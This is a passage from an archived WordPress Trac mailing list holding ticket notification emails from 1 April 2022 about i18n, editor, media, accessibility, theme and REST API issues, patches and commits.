[WordPress Trac] #33073: Some strings need "no HTML entities" translator comments In-Reply-To: <048.563845dd8576d913c71cd9f2e2dbd5ab@wordpress.org> References: <048.563845dd8576d913c71cd9f2e2dbd5ab@wordpress.org> Message-ID: <063.3bb68277327a4d813bf744282ae5015a@wordpress.org> #33073: Some strings need "no HTML entities" translator comments -------------------------+--------------------- Reporter: xibe | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Component: I18N | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+--------------------- Comment (by La Geek): We all give the best to receive a professional output of our translations. This should be above all also in the interest of WordPress.org. But we cannot achieve this if we are not shown when an entity is not transformed. Please display a warning and prevent saving the translation in such cases. This is a renewal of #10005, which was apparently my first patch to WP 6 years ago and now additional 7 further years in total 13 years and still not supported? Really? -- Ticket URL: <https://core.trac.wordpress.org/ticket/33073#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 12:13:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 12:13:31 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.414f07b378ac6ed559c1c228c7284a96@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------------+------------------------------ Reporter: whoisnegrello | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing close | Focuses: -------------------------------------------+------------------------------ Comment (by gziolo): Just wanted to share that @fabiankaegy described very valid use cases during the Gutenberg Developer Hours. I always assumed we should optimize the experience to integrate blocks with plugins and the Block Directory. However, if that's a common practice to work around the existing API to make blocks work with themes then we should reconsider the approach taken. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 12:16:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 12:16:55 -0000 Subject: [wp-trac] [WordPress Trac] #55501: Multiple loader issue on admin general setting page. In-Reply-To: <060.a1c64ff42e543ce2dbbcd1edf5b9154c@wordpress.org> References: <060.a1c64ff42e543ce2dbbcd1edf5b9154c@wordpress.org> Message-ID: <075.9ea275ab6a9fcb00d51baccb4241b534@wordpress.org> #55501: Multiple loader issue on admin general setting page. ------------------------------+---------------------------------------- Reporter: bhaveshkhadodara | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite ------------------------------+---------------------------------------- Changes (by dilipbheda): * Attachment "55501.2.patch" added. Updated patch to avoid selecting a second time same element. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55501> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 12:46:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 12:46:24 -0000 Subject: [wp-trac] [WordPress Trac] #33073: Some strings need "no HTML entities" translator comments In-Reply-To: <048.563845dd8576d913c71cd9f2e2dbd5ab@wordpress.org> References: <048.563845dd8576d913c71cd9f2e2dbd5ab@wordpress.org> Message-ID: <063.bc6ffb0060218f11adb152cc271fa4cf@wordpress.org> #33073: Some strings need "no HTML entities" translator comments -------------------------+--------------------- Reporter: xibe | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Component: I18N | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+--------------------- Comment (by galanos): Seconding this. As I’ve learned, HTML entities sometimes must be inserted into translated strings. Making translators check the context first—HTML, JavaScript, e-mail, tattoo template, or whatnot—inevitably leads to errors and is non-inclusive by further raising the threshold of technical knowledge required of translators. Thank you! -- Ticket URL: <https://core.trac.wordpress.org/ticket/33073#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 12:50:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 12:50:49 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.bab4b166fa4207edfd2fba462c340c29@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: junaidkbr Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch needs- | Focuses: testing has-testing-info | -------------------------------------------------+------------------------- Comment (by Boniu91): Works as expected for me. == Test Report === Env * WordPress 6.0-alpha-52448-src === Steps to test 1. Go to the media library grid View 2. Edit one media, erase the title and save settings 3. Switch to the list view - the image has no title 4. Edit image from the list view, make sure that the title is empty and save settings 5. In the list view - the image still has no title -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 13:02:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 13:02:13 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.6ddd170dc26061e008091b4c005c4211@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch needs-testing has-testing-info => good-first-bug has-patch has-testing-info assigned-for-commit * owner: junaidkbr => audrasjb * status: assigned => reviewing Comment: Thanks for the test @Boniu91! Self assigning for `commit` consideration. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 13:25:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 13:25:56 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.eb2b1208295c600a7665f44b655af202@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: good-first-bug has-patch has-testing-info assigned-for-commit => good-first-bug has-patch has-testing-info assigned-for-commit needs- dev-note Comment: Adding `needs-dev-note` since this change deserves a mention in the Media (or Misc changes) dev note to document that we removed this filter. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 13:28:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 13:28:29 -0000 Subject: [wp-trac] [WordPress Trac] #39108: Media: can't leave an image "untitled" from the "Edit Media" menu In-Reply-To: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> References: <053.ea2079467974d0fd27ffe5da8f214178@wordpress.org> Message-ID: <068.f215d59f8f3f3a7dc47080a8a3a7c9c4@wordpress.org> #39108: Media: can't leave an image "untitled" from the "Edit Media" menu -------------------------------------------------+------------------------- Reporter: dromero20 | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Media | Version: 4.6.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has- | Focuses: testing-info assigned-for-commit needs-dev- | note | -------------------------------------------------+------------------------- Comment (by audrasjb): Instead of completely remove this filter, shouldn't we deprecate it? Looks like at least 64 plugins are using it: https://wpdirectory.net/search/01FZJMWDNYAJPXRGH546GQ8C24 Pinging @SergeyBiryukov for experienced advice on the best way to handle this. -- Ticket URL: <https://core.trac.wordpress.org/ticket/39108#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 13:58:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 13:58:15 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.338933c7f031143f35d04c502a8b5989@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by georgestephanis): @spacedmonkey Following ^^ in #meta it was reported that this can change the author of a post. Should we add an `else` condition that just injects a hidden field to preserve the existing author in cases where the dropdown doesn't show? -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:94> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 15:07:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 15:07:32 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.3f89079ce1b8fd74e7774960ab05bf6d@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: has-patch required-fields => has-patch required-fields dev- feedback -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 15:10:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 15:10:29 -0000 Subject: [wp-trac] [WordPress Trac] #55511: How to search by tag in editor link search bar In-Reply-To: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> References: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> Message-ID: <068.3b19ab91b58803ae456d3f7b2aa8784a@wordpress.org> #55511: How to search by tag in editor link search bar --------------------------+-------------------------------- Reporter: rodrigocs | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------+-------------------------------- Comment (by rodrigocs): Thank you @costdev -- Ticket URL: <https://core.trac.wordpress.org/ticket/55511#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 15:57:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 15:57:59 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.24fdf1138a971e34fb44936e6cbbc638@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by kjellr): Hi everyone! Here's an update on these style directions: I've gone in and made some color adjustments in order to pull these apart from each other just a bit more. The red one now has red text throughout, and the pink one has been made more distinct from the cyan one. In addition, each one has been revised to include some spacing and block style modifications in addition to the color and font changes. As a result, these each feel just a tiny bit more unique. The differences between each of these feel pretty noticeable when switching in the editor, so here's a video of that state: https://cloudup.com/cAqPsRiP7jZ Here are some example screenshots as well: [[Image(https://cldup.com/oPbijC7ike.png)]] [[Image(https://cldup.com/yI3wyTEdwp.png)]] [[Image(https://cldup.com/IpUFugLvJe.png)]] --- The major hurdles for the moment remain the same as I mentioned above: - Webfonts declared in styles variants are not loaded: https://github.com/WordPress/gutenberg/issues/39702 - Duotone does not render in the site editor: https://github.com/WordPress/gutenberg/issues/35331 The Duotone issues appear to be fixed in [https://github.com/WordPress/gutenberg/pull/37727 the associated PR]. The fonts issues are also fixed [https://github.com/WordPress/gutenberg/pull/39886 in their PR], but they seem to be a little flaky in my testing — sometimes they load and other times they don't. The screenshots above were all taken while running both of those PRs together, but the fonts are falling back to my local copies instead of the theme versions. I could use help from a few angles: 1. Testing and code reviews. Are there any mistakes in the JSON? Can you spot any additional settings from the original that I need to be overriding in the variations? 2. Testing against those PRs. Specifically the fonts one. I'm not sure if the issues I'm seeing are specifically related to my test environment or not. 3. Design suggestions: Do these directions feel distinct enough? Is each one strong individually? What we can we do to pull them apart even more? Thanks for taking a look! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 16:06:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 16:06:17 -0000 Subject: [wp-trac] [WordPress Trac] #53945: Local test workflow changes for installing Composer dependencies In-Reply-To: <058.4f5cf461be4aeaed98ad865942be298b@wordpress.org> References: <058.4f5cf461be4aeaed98ad865942be298b@wordpress.org> Message-ID: <073.5ed8b7d1bd9bdaf7f6ad27a0a37e8aad@wordpress.org> #53945: Local test workflow changes for installing Composer dependencies ------------------------------------------------+-------------------------- Reporter: hellofromTonya | Owner: johnbillion Type: task (blessed) | Status: closed Priority: normal | Milestone: 5.9 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-testing-instructions | Focuses: ------------------------------------------------+-------------------------- Changes (by johnbillion): * status: reopened => closed * resolution: => fixed * milestone: 6.0 => 5.9 -- Ticket URL: <https://core.trac.wordpress.org/ticket/53945#comment:44> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 16:33:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 16:33:03 -0000 Subject: [wp-trac] [WordPress Trac] #54905: PHP notice while accessing Customizer In-Reply-To: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> References: <051.9c2a17d74e4bb75a06812a0d838fa122@wordpress.org> Message-ID: <066.19e8393446d4bd70d6ee0e21557463bc@wordpress.org> #54905: PHP notice while accessing Customizer -------------------------------------------------+------------------------- Reporter: Boniu91 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 5.9.4 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-testing has-testing-info has- | Focuses: screenshots needs-patch | -------------------------------------------------+------------------------- Changes (by azouamauriac): * keywords: has-patch needs-testing has-testing-info has-screenshots => needs-testing has-testing-info has-screenshots needs-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/54905#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 16:48:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 16:48:52 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.6852792612be273c3d3131277ca12e55@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: good-first-bug needs-patch | Focuses: docs ----------------------------------------+----------------------------- Changes (by johnbillion): * status: closed => reopened * resolution: fixed => Comment: Found a few more. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 16:51:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 16:51:20 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.87aae921d70f1e9c1555569addcc7223@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: good-first-bug needs-patch | Focuses: docs ----------------------------------------+----------------------------- Changes (by johnbillion): * Attachment "55506.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 16:52:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 16:52:41 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.bfe327eb1db996f859305c8fa9eea4cf@wordpress.org> #55506: HTML tags not escaped -------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: docs -------------------------------------+----------------------------- Changes (by johnbillion): * keywords: good-first-bug needs-patch => has-patch needs-testing Comment: [attachment:"55506.patch"] fixes some more instances of HTML tags and also improves the formatting of HTML special characters in descriptions. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 17:24:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 17:24:09 -0000 Subject: [wp-trac] [WordPress Trac] #55370: Enable aria-controls and aria-expanded in content In-Reply-To: <051.dc03991af641b6ff50232695165f265e@wordpress.org> References: <051.dc03991af641b6ff50232695165f265e@wordpress.org> Message-ID: <066.430b7cabf19658131b814c75fc7dbff3@wordpress.org> #55370: Enable aria-controls and aria-expanded in content --------------------------------------+---------------------------- Reporter: crs1138 | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Formatting | Version: 5.8.3 Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: accessibility --------------------------------------+---------------------------- Comment (by sabernhardt): Thanks for the patches! I use `develop` for SVN patches. The pull request method is another option, but should not be necessary. [attachment:"55370.v202203242230.patch"] applies cleanly for me at the root folder, and [attachment:"55370.patch"] applies to the `src`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55370#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 17:25:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 17:25:39 -0000 Subject: [wp-trac] [WordPress Trac] #53951: Twenty Twenty: Search modal aria-expanded In-Reply-To: <050.12159b56833732edace4c7af59831987@wordpress.org> References: <050.12159b56833732edace4c7af59831987@wordpress.org> Message-ID: <065.134c119afccc758e1dbfa9aa4f75526e@wordpress.org> #53951: Twenty Twenty: Search modal aria-expanded -------------------------------------+------------------------------------- Reporter: utz119 | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch has-testing- | Focuses: accessibility, instructions commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * keywords: has-patch has-testing-instructions => has-patch has-testing- instructions commit * owner: alexstine => joedolson -- Ticket URL: <https://core.trac.wordpress.org/ticket/53951#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 17:54:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 17:54:45 -0000 Subject: [wp-trac] [WordPress Trac] #53951: Twenty Twenty: Search modal aria-expanded In-Reply-To: <050.12159b56833732edace4c7af59831987@wordpress.org> References: <050.12159b56833732edace4c7af59831987@wordpress.org> Message-ID: <065.06b1426283c5a256519defde89963c2a@wordpress.org> #53951: Twenty Twenty: Search modal aria-expanded -------------------------------------+------------------------------------- Reporter: utz119 | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-testing- | Focuses: accessibility, instructions commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53051" 53051]: {{{ #!CommitTicketReference repository="" revision="53051" Twenty Twenty: Fix aria-expanded handling in search toggle. Transform search into a dialog role and fix the handling of aria-expanded to synchronize mobile and desktop buttons. Props utz119, alexstine, mukesh27, hareesh-pillai, sabernhardt, audrasjb, afercia. Fixes #53951. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/53951#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 18:19:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 18:19:17 -0000 Subject: [wp-trac] [WordPress Trac] #55425: Customize: Fetch presence of published pages more optimally (refactor) In-Reply-To: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> References: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> Message-ID: <065.bd10398877951b66e549a9ae52a25a28@wordpress.org> #55425: Customize: Fetch presence of published pages more optimally (refactor) -------------------------+----------------------------- Reporter: nagpai | Owner: nagpai Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Customize | Version: 4.7 Severity: normal | Resolution: Keywords: needs-patch | Focuses: -------------------------+----------------------------- Changes (by nagpai): * Attachment "55425.0.diff" added. Fix for ticket #55425 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55425> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 18:25:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 18:25:29 -0000 Subject: [wp-trac] [WordPress Trac] #55425: Customize: Fetch presence of published pages more optimally (refactor) In-Reply-To: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> References: <050.79f4190ca6567d9d247a2239b48b872b@wordpress.org> Message-ID: <065.de723f70b4b3c01b038a34e74627800c@wordpress.org> #55425: Customize: Fetch presence of published pages more optimally (refactor) -------------------------------------+----------------------------- Reporter: nagpai | Owner: nagpai Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Customize | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Changes (by nagpai): * keywords: needs-patch => has-patch needs-testing Comment: I just uploaded a patch. I confirm having tested this on a test site with a few pages published, and none published. It seems to work fine. Would be great if someone can test it too. This is my first patch submission to WordPress and I hope to do more :) . I have tried to follow the instructions in the contributors' handbook. Advance apologies for any mistakes. Thanks for your kind guidance @dlh ! Also props to my colleague and guide @tyxla who guided me with the next steps too. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55425#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 19:49:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 19:49:42 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.12885d045f555340d127dc456d813cfc@wordpress.org> #55506: HTML tags not escaped -------------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch needs-testing close | Focuses: docs -------------------------------------------+----------------------------- Changes (by azouamauriac): * keywords: has-patch needs-testing => has-patch needs-testing close Comment: Hi @johnbillion thanks for the patch, but I think the best place to report it is here #54729 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 19:55:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 19:55:05 -0000 Subject: [wp-trac] [WordPress Trac] #55252: Change permalink on media items opens in new window In-Reply-To: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> References: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> Message-ID: <065.01eedf72aa489e2a8dc81dc81a347e71@wordpress.org> #55252: Change permalink on media items opens in new window -------------------------------------+------------------------------------- Reporter: kebbet | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Permalinks | Version: 2.8 Severity: normal | Resolution: Keywords: has-patch has- | Focuses: ui, accessibility, ui- screenshots commit | copy -------------------------------------+------------------------------------- Changes (by joedolson): * keywords: needs-copy-review has-patch has-screenshots => has-patch has- screenshots commit * component: Media => Permalinks Comment: I think the copy changes are good; changing component from Media to Permalinks since this link appears in multiple contexts. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55252#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 20:05:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 20:05:52 -0000 Subject: [wp-trac] [WordPress Trac] #55252: Change permalink on media items opens in new window In-Reply-To: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> References: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> Message-ID: <065.4dbe7438b2633af0ef97f8ca6b63af09@wordpress.org> #55252: Change permalink on media items opens in new window -------------------------------------+------------------------------------- Reporter: kebbet | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: General | Version: 2.8 Severity: normal | Resolution: Keywords: has-patch has- | Focuses: ui, accessibility, ui- screenshots commit | copy -------------------------------------+------------------------------------- Changes (by joedolson): * component: Permalinks => General Comment: Changed my mind; I think this is general. It doesn't really pertain to the permalinks code in any way, so that's not an accurate representation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55252#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 20:06:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 20:06:09 -0000 Subject: [wp-trac] [WordPress Trac] #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` In-Reply-To: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> References: <047.3037a2798a4e649c49aff9a105ba0546@wordpress.org> Message-ID: <062.48f8898d8f161f79acc340d0133f7c94@wordpress.org> #54795: Bootstrap: Move navigation post type hooks to `admin-filters.php` ----------------------------+--------------------- Reporter: dlh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bootstrap/Load | Version: Severity: normal | Resolution: Keywords: | Focuses: ----------------------------+--------------------- Comment (by antonvlasenko): I've started to work on a patch for this issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54795#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 20:08:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 20:08:47 -0000 Subject: [wp-trac] [WordPress Trac] #55252: Change permalink on media items opens in new window In-Reply-To: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> References: <050.17897504cd81552f031134e8489fa6f1@wordpress.org> Message-ID: <065.e53db7574bec776b1ced8f75550e74fc@wordpress.org> #55252: Change permalink on media items opens in new window -------------------------------------+------------------------------------- Reporter: kebbet | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: 2.8 Severity: normal | Resolution: fixed Keywords: has-patch has- | Focuses: ui, accessibility, ui- screenshots commit | copy -------------------------------------+------------------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53052" 53052]: {{{ #!CommitTicketReference repository="" revision="53052" General: Open change permalink structure links in same tab. Remove `target="_blank"` from the link to change permalink structures and change link text to 